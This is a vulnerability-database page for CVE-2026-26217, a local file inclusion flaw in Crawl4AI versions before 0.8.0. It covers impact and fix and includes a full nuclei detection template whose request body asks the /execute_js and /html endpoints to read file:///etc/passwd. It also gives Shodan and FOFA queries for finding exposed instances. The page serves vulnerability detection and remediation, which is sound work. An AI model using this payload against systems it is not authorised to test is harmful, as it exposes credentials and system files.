HexBrain

Browse / CVEs / CVE-2026-26217

CVE-2026-26217

Crawl4AI < 0.8.0 - Local File Inclusion

criticalseverity
2.1%likelihood of exploitation, next 30 days
82%of all CVEs are less likely
Readycheck to confirm it

The Crawl4AI Docker API endpoints accepted arbitrary URL schemes without an allow-list. An unauthenticated request with a file:// URL could read local files. Fixed in 0.8.0, which restricts accepted URL schemes.

Impact

Unauthenticated remote attackers can read sensitive files, exposing credentials, API keys, and internal application details.

Fix

Update to version 0.8.0 or later.

How to confirm it

Send: GET {{BaseURL}}
Positive when: contains(tolower(body), "crawl4ai")
Send: POST {{BaseURL}}/execute_js ; POST {{BaseURL}}/html
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2026-26217 -u <target>

The full check
id: CVE-2026-26217

info:
  name: Crawl4AI < 0.8.0 - Local File Inclusion
  author: str4k3r,Aryu-RU
  severity: critical
  description: |
    The Crawl4AI Docker API endpoints accepted arbitrary URL schemes without an allow-list. An unauthenticated request with a file:// URL could read local files. Fixed in 0.8.0, which restricts accepted URL schemes.
  impact: |
    Unauthenticated remote attackers can read sensitive files, exposing credentials, API keys, and internal application details.
  remediation: |
    Update to version 0.8.0 or later.
  reference:
    - https://github.com/unclecode/crawl4ai/security/advisories/GHSA-vx9w-5cx4-9796
  classification:
    cve-id: CVE-2026-26217
    epss-score: 0.02067
    epss-percentile: 0.81558
  metadata:
    verified: true
    shodan-query: title:"Crawl4AI"
    fofa-query: title="Crawl4AI"
  tags: cve,cve2026,crawl4ai,lfi,file-read

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    redirects: true
    matchers:
      - type: dsl
        dsl:
          - 'contains(tolower(body), "crawl4ai")'
        internal: true

  - method: POST
    path:
      - "{{BaseURL}}/execute_js"
      - "{{BaseURL}}/html"
    headers:
      Content-Type: application/json
    body: '{"url": "file:///etc/passwd", "scripts": ["document.body.innerText"]}'

    stop-at-first-match: true
    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from